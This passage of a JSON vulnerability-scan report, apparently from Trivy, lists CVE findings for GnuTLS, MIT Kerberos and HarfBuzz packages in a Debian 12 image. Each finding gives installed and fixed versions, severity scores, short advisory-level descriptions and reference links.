"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3833", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42009", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5419", "https://errata.almalinux.org/9/ALSA-2026-20612.html", "https://errata.rockylinux.org/RLSA-2026:20612", "https://linux.oracle.com/cve/CVE-2026-33846.html", "https://linux.oracle.com/errata/ELSA-2026-50346.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33846", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33846.json", "https://ubuntu.com/security/notices/USN-8284-1", "https://ubuntu.com/security/notices/USN-8502-1", "https://www.cve.org/CVERecord?id=CVE-2026-33846", "https://www.gnutls.org/security-new.html#GNUTLS-SA-2026-04-29-1" ], "PublishedDate": "2026-05-04T10:15:59.69Z", "LastModifiedDate": "2026-11-04T23:17:27.96Z" }, { "VulnerabilityID": "CVE-2026-3833", "VendorIDs": [ "DSA-6281-1" ], "PkgID": "libgnutls30@3.7.9-2+deb12u5", "PkgName": "libgnutls30", "PkgIdentifier": { "PURL": "pkg:deb/debian/libgnutls30@3.7.9-2%2Bdeb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "48d5c0492eba034e" }, "InstalledVersion": "3.7.9-2+deb12u5", "FixedVersion": "3.7.9-2+deb12u7", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-3833", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f0346bf0798beef22d142c7242d314f21ac9aaf8ebd42097461d2fdb376c1be0", "Title": "gnutls: GnuTLS: Policy bypass due to case-sensitive nameConstraints comparison", "Description": "A flaw was found in gnutls. This vulnerability occurs because gnutls performs case-sensitive comparisons of `nameConstraints` labels, specifically for `dNSName` (DNS) or `rfc822Name` (email) constraints within `excludedSubtrees` or `permittedSubtrees`. A remote attacker can exploit this by crafting a leaf certificate with casing differences in the Subject Alternative Name (SAN), leading to a policy bypass where a certificate that should be rejected is instead accepted. This could result in unauthorized access or information disclosure.", "Severity": "HIGH", "CweIDs": [ "CWE-178" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:13274", "https://access.redhat.com/errata/RHSA-2026:20611", "https://access.redhat.com/errata/RHSA-2026:20612", "https://access.redhat.com/errata/RHSA-2026:20613", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:26409", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:30004", "https://access.redhat.com/errata/RHSA-2026:30849", "https://access.redhat.com/errata/RHSA-2026:30850", "https://access.redhat.com/errata/RHSA-2026:32962", "https://access.redhat.com/errata/RHSA-2026:33125", "https://access.redhat.com/errata/RHSA-2026:41921", "https://access.redhat.com/errata/RHSA-2026:43575", "https://access.redhat.com/errata/RHSA-2026:57402", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:60019", "https://access.redhat.com/errata/RHSA-2026:62409", "https://access.redhat.com/errata/RHSA-2026:62549", "https://access.redhat.com/errata/RHSA-2026:65839", "https://access.redhat.com/errata/RHSA-2026:65851", "https://access.redhat.com/errata/RHSA-2026:67857", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/security/cve/CVE-2026-3833", "https://bugzilla.redhat.com/2445763", "https://bugzilla.redhat.com/2450624", "https://bugzilla.redhat.com/2450625", "https://bugzilla.redhat.com/2467279", "https://bugzilla.redhat.com/2467289", "https://bugzilla.redhat.com/2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2445762", "https://bugzilla.redhat.com/show_bug.cgi?id=2445763", "https://bugzilla.redhat.com/show_bug.cgi?id=2450624", "https://bugzilla.redhat.com/show_bug.cgi?id=2450625", "https://bugzilla.redhat.com/show_bug.cgi?id=2467279", "https://bugzilla.redhat.com/show_bug.cgi?id=2467289", "https://bugzilla.redhat.com/show_bug.cgi?id=2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2467441", "https://bugzilla.redhat.com/show_bug.cgi?id=2467448", "https://bugzilla.redhat.com/show_bug.cgi?id=2467450", "https://bugzilla.redhat.com/show_bug.cgi?id=2467451", "https://bugzilla.redhat.com/show_bug.cgi?id=2467678", "https://bugzilla.redhat.com/show_bug.cgi?id=2467686", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3833", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42009", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5419", "https://errata.almalinux.org/9/ALSA-2026-20612.html", "https://errata.rockylinux.org/RLSA-2026:20612", "https://gitlab.com/gnutls/gnutls/-/issues/1803", "https://linux.oracle.com/cve/CVE-2026-3833.html", "https://linux.oracle.com/errata/ELSA-2026-50346.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-3833", "https://ubuntu.com/security/notices/USN-8284-1", "https://ubuntu.com/security/notices/USN-8502-1", "https://www.cve.org/CVERecord?id=CVE-2026-3833", "https://www.gnutls.org/security-new.html#GNUTLS-SA-2026-04-29-5" ], "PublishedDate": "2026-04-30T18:16:30.577Z", "LastModifiedDate": "2026-11-05T22:18:41.977Z" }, { "VulnerabilityID": "CVE-2026-42009", "VendorIDs": [ "DSA-6281-1" ], "PkgID": "libgnutls30@3.7.9-2+deb12u5", "PkgName": "libgnutls30", "PkgIdentifier": { "PURL": "pkg:deb/debian/libgnutls30@3.7.9-2%2Bdeb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "48d5c0492eba034e" }, "InstalledVersion": "3.7.9-2+deb12u5", "FixedVersion": "3.7.9-2+deb12u7", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42009", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:51b5b250960c393e4bdd7d4122e19fdd4be59795d157f4d7d66ab444847f25f5", "Title": "gnutls: gnutls: Denial of Service via DTLS packet reordering vulnerability", "Description": "A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service.", "Severity": "HIGH", "CweIDs": [ "CWE-475" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:13274", "https://access.redhat.com/errata/RHSA-2026:20611", "https://access.redhat.com/errata/RHSA-2026:20612", "https://access.redhat.com/errata/RHSA-2026:20613", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:26409", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:29794", "https://access.redhat.com/errata/RHSA-2026:30004", "https://access.redhat.com/errata/RHSA-2026:30849", "https://access.redhat.com/errata/RHSA-2026:30850", "https://access.redhat.com/errata/RHSA-2026:32962", "https://access.redhat.com/errata/RHSA-2026:33125", "https://access.redhat.com/errata/RHSA-2026:34372", "https://access.redhat.com/errata/RHSA-2026:34764", "https://access.redhat.com/errata/RHSA-2026:34788", "https://access.redhat.com/errata/RHSA-2026:36004", "https://access.redhat.com/errata/RHSA-2026:36005", "https://access.redhat.com/errata/RHSA-2026:36006", "https://access.redhat.com/errata/RHSA-2026:40762", "https://access.redhat.com/errata/RHSA-2026:41921", "https://access.redhat.com/errata/RHSA-2026:56786", "https://access.redhat.com/errata/RHSA-2026:56853", "https://access.redhat.com/errata/RHSA-2026:56911", "https://access.redhat.com/errata/RHSA-2026:57483", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:60019", "https://access.redhat.com/errata/RHSA-2026:65839", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/security/cve/CVE-2026-42009", "https://bugzilla.redhat.com/2445763", "https://bugzilla.redhat.com/2450624", "https://bugzilla.redhat.com/2450625", "https://bugzilla.redhat.com/2467279", "https://bugzilla.redhat.com/2467289", "https://bugzilla.redhat.com/2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2445762", "https://bugzilla.redhat.com/show_bug.cgi?id=2445763", "https://bugzilla.redhat.com/show_bug.cgi?id=2450624", "https://bugzilla.redhat.com/show_bug.cgi?id=2450625", "https://bugzilla.redhat.com/show_bug.cgi?id=2467279", "https://bugzilla.redhat.com/show_bug.cgi?id=2467289", "https://bugzilla.redhat.com/show_bug.cgi?id=2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2467441", "https://bugzilla.redhat.com/show_bug.cgi?id=2467448", "https://bugzilla.redhat.com/show_bug.cgi?id=2467450", "https://bugzilla.redhat.com/show_bug.cgi?id=2467451", "https://bugzilla.redhat.com/show_bug.cgi?id=2467678", "https://bugzilla.redhat.com/show_bug.cgi?id=2467686", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3833", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42009", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5419", "https://errata.almalinux.org/9/ALSA-2026-20612.html", "https://errata.rockylinux.org/RLSA-2026:20612", "https://linux.oracle.com/cve/CVE-2026-42009.html", "https://linux.oracle.com/errata/ELSA-2026-50346.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42009", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42009.json", "https://ubuntu.com/security/notices/USN-8284-1", "https://ubuntu.com/security/notices/USN-8502-1", "https://www.cve.org/CVERecord?id=CVE-2026-42009", "https://www.gnutls.org/security-new.html#GNUTLS-SA-2026-04-29-2" ], "PublishedDate": "2026-05-18T13:16:32.707Z", "LastModifiedDate": "2026-11-04T23:17:32.4Z" }, { "VulnerabilityID": "CVE-2026-40355", "VendorIDs": [ "DSA-6293-1" ], "PkgID": "libgssapi-krb5-2@1.20.1-2+deb12u4", "PkgName": "libgssapi-krb5-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libgssapi-krb5-2@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "57d65c29d8f63e2c" }, "InstalledVersion": "1.20.1-2+deb12u4", "FixedVersion": "1.20.1-2+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40355", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:29f2a73714df3a5d1129ed9cfa742f69cdd29ede68179fc0240518b08cc502b5", "Title": "krb5: MIT Kerberos 5: Denial of Service via NULL pointer dereference in NegoEx mechanism", "Description": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19357", "https://access.redhat.com/security/cve/CVE-2026-40355", "https://bugzilla.redhat.com/2463368", "https://bugzilla.redhat.com/2463370", "https://bugzilla.redhat.com/show_bug.cgi?id=2463368", "https://bugzilla.redhat.com/show_bug.cgi?id=2463370", "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40355", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40356", "https://errata.almalinux.org/9/ALSA-2026-19357.html", "https://errata.rockylinux.org/RLSA-2026:19357", "https://github.com/advisories/GHSA-8qgv-wm66-hrmc", "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "https://linux.oracle.com/cve/CVE-2026-40355.html", "https://linux.oracle.com/errata/ELSA-2026-19357.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40355", "https://ubuntu.com/security/notices/USN-8585-1", "https://web.mit.edu/kerberos/advisories", "https://web.mit.edu/kerberos/advisories/", "https://www.cve.org/CVERecord?id=CVE-2026-40355" ], "PublishedDate": "2026-04-28T06:16:03.663Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-40356", "VendorIDs": [ "DSA-6293-1" ], "PkgID": "libgssapi-krb5-2@1.20.1-2+deb12u4", "PkgName": "libgssapi-krb5-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libgssapi-krb5-2@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "57d65c29d8f63e2c" }, "InstalledVersion": "1.20.1-2+deb12u4", "FixedVersion": "1.20.1-2+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40356", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c36bcbaf371dfdf5d501a0bdddff570de3e47a973c3b7742316de22e632b8a93", "Title": "krb5: MIT Kerberos 5 (krb5): Denial of Service via integer underflow and out-of-bounds read", "Description": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is an integer underflow and resultant out-of-bounds read if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, possibly causing the process to terminate in parse_message.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19357", "https://access.redhat.com/security/cve/CVE-2026-40356", "https://bugzilla.redhat.com/2463368", "https://bugzilla.redhat.com/2463370", "https://bugzilla.redhat.com/show_bug.cgi?id=2463368", "https://bugzilla.redhat.com/show_bug.cgi?id=2463370", "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40355", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40356", "https://errata.almalinux.org/9/ALSA-2026-19357.html", "https://errata.rockylinux.org/RLSA-2026:19357", "https://github.com/advisories/GHSA-f7p3-6rhj-p7jv", "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "https://linux.oracle.com/cve/CVE-2026-40356.html", "https://linux.oracle.com/errata/ELSA-2026-19357.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40356", "https://ubuntu.com/security/notices/USN-8585-1", "https://web.mit.edu/kerberos/advisories", "https://web.mit.edu/kerberos/advisories/", "https://www.cve.org/CVERecord?id=CVE-2026-40356" ], "PublishedDate": "2026-04-28T07:16:03.197Z", "LastModifiedDate": "2026-10-26T22:10:00.163Z" }, { "VulnerabilityID": "CVE-2023-25193", "PkgID": "libharfbuzz0b@6.0.0+dfsg-3", "PkgName": "libharfbuzz0b", "PkgIdentifier": { "PURL": "pkg:deb/debian/libharfbuzz0b@6.0.0%2Bdfsg-3?arch=amd64\u0026distro=debian-12.13", "UID": "1441ea3374bec9e" }, "InstalledVersion": "6.0.0+dfsg-3", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-25193", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ef132db2d9a4533633fd8ba352c57f1d84ca1825ac2e9327533ab29414b9a2aa", "Title": "harfbuzz: allows attackers to trigger O(n^2) growth via consecutive marks", "Description": "hb-ot-layout-gsubgpos.hh in HarfBuzz through 6.0.0 allows attackers to trigger O(n^2) growth via consecutive marks during the process of looking back for base glyphs when attaching marks.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 2, "amazon": 2, "bitnami": 3, "cbl-mariner": 3, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2024:2410", "https://access.redhat.com/security/cve/CVE-2023-25193", "https://bugzilla.redhat.com/2167254", "https://bugzilla.redhat.com/show_bug.cgi?id=2167254", "https://chromium.googlesource.com/chromium/src/+/e1f324aa681af54101c1f2d173d92adb80e37088/DEPS#361", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25193", "https://errata.almalinux.org/9/ALSA-2024-2410.html", "https://errata.rockylinux.org/RLSA-2024:2410", "https://github.com/harfbuzz/harfbuzz/blob/2822b589bc837fae6f66233e2cf2eef0f6ce8470/src/hb-ot-layout-gsubgpos.hh", "https://github.com/harfbuzz/harfbuzz/commit/85be877925ddbf34f74a1229f3ca1716bb6170dc", "https://github.com/harfbuzz/harfbuzz/commit/85be877925ddbf34f74a1229f3ca1716bb6170dc%20%28reverted%29", "https://linux.oracle.com/cve/CVE-2023-25193.html", "https://linux.oracle.com/errata/ELSA-2024-2980.html", "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KWCHWSICWVZSAXP2YAXM65JC2GR53547/", "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YZ5M2GSAIHFPLHYJXUPQ2QDJCLWXUGO3/", "https://nvd.nist.gov/vuln/detail/CVE-2023-25193", "https://openjdk.org/groups/vulnerability/advisories/2023-07-18", "https://security.netapp.com/advisory/ntap-20230725-0006/", "https://ubuntu.com/security/notices/USN-6263-1", "https://ubuntu.com/security/notices/USN-6272-1", "https://ubuntu.com/security/notices/USN-7251-1", "https://www.cve.org/CVERecord?id=CVE-2023-25193", "https://www.oracle.com/security-alerts/cpujul2023.html" ], "PublishedDate": "2023-02-04T20:15:08.027Z", "LastModifiedDate": "2026-06-17T05:40:53.533Z" }, { "VulnerabilityID": "CVE-2026-40355", "VendorIDs": [ "DSA-6293-1" ], "PkgID": "libk5crypto3@1.20.1-2+deb12u4", "PkgName": "libk5crypto3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libk5crypto3@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "abe5ae82c001d4aa" }, "InstalledVersion": "1.20.1-2+deb12u4", "FixedVersion": "1.20.1-2+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40355", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c2bff3128f25436e33616773e4035f53fb5c1a2da7408d726ccf36651eeca062", "Title": "krb5: MIT Kerberos 5: Denial of Service via NULL pointer dereference in NegoEx mechanism", "Description": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19357", "https://access.redhat.com/security/cve/CVE-2026-40355", "https://bugzilla.redhat.com/2463368", "https://bugzilla.redhat.com/2463370", "https://bugzilla.redhat.com/show_bug.cgi?id=2463368", "https://bugzilla.redhat.com/show_bug.cgi?id=2463370", "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40355", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40356", "https://errata.almalinux.org/9/ALSA-2026-19357.html", "https://errata.rockylinux.org/RLSA-2026:19357", "https://github.com/advisories/GHSA-8qgv-wm66-hrmc", "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "https://linux.oracle.com/cve/CVE-2026-40355.html", "https://linux.oracle.com/errata/ELSA-2026-19357.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40355", "https://ubuntu.com/security/notices/USN-8585-1", "https://web.mit.edu/kerberos/advisories", "https://web.mit.edu/kerberos/advisories/", "https://www.cve.org/CVERecord?id=CVE-2026-40355" ], "PublishedDate": "2026-04-28T06:16:03.663Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-40356", "VendorIDs": [ "DSA-6293-1" ], "PkgID": "libk5crypto3@1.20.1-2+deb12u4", "PkgName": "libk5crypto3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libk5crypto3@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "abe5ae82c001d4aa" }, "InstalledVersion": "1.20.1-2+deb12u4", "FixedVersion": "1.20.1-2+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40356", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b3623de17cadb38250ce75cd9bc878cbfae82fcd3c3b8f560f3aa77806e5c2d4", "Title": "krb5: MIT Kerberos 5 (krb5): Denial of Service via integer underflow and out-of-bounds read", "Description": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is an integer underflow and resultant out-of-bounds read if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, possibly causing the process to terminate in parse_message.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": 